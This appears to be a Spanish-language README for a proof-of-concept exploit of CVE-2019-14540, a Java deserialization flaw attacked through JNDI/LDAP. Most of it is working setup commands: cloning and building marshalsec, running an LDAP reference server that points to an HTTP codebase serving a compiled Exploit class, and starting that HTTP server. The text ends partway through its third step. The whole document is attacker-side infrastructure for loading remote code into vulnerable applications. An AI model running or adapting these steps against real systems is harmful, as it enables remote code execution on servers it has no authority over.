CVE-2019-14540 Exploit

http://www.leadroyal.cn/?p=939

Limitación del entorno: debido a que esta demo utiliza el método de explotación ldap de jndi, se necesita usar una versión baja (menor a 8u191) del jdk.

1. Usar marshalsec para crear un servicio ldap en el puerto local 1389, apuntando al servicio http local en el puerto 8000

git clone https://github.com/mbechler/marshalsec.git
mvn package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 1389

2. Compilar el código para la carga remota en remote_codebase

cd remote_codebase
javac Exploit.java

3. Iniciar el servicio http local en el puerto 8000 dentro de remote_codebase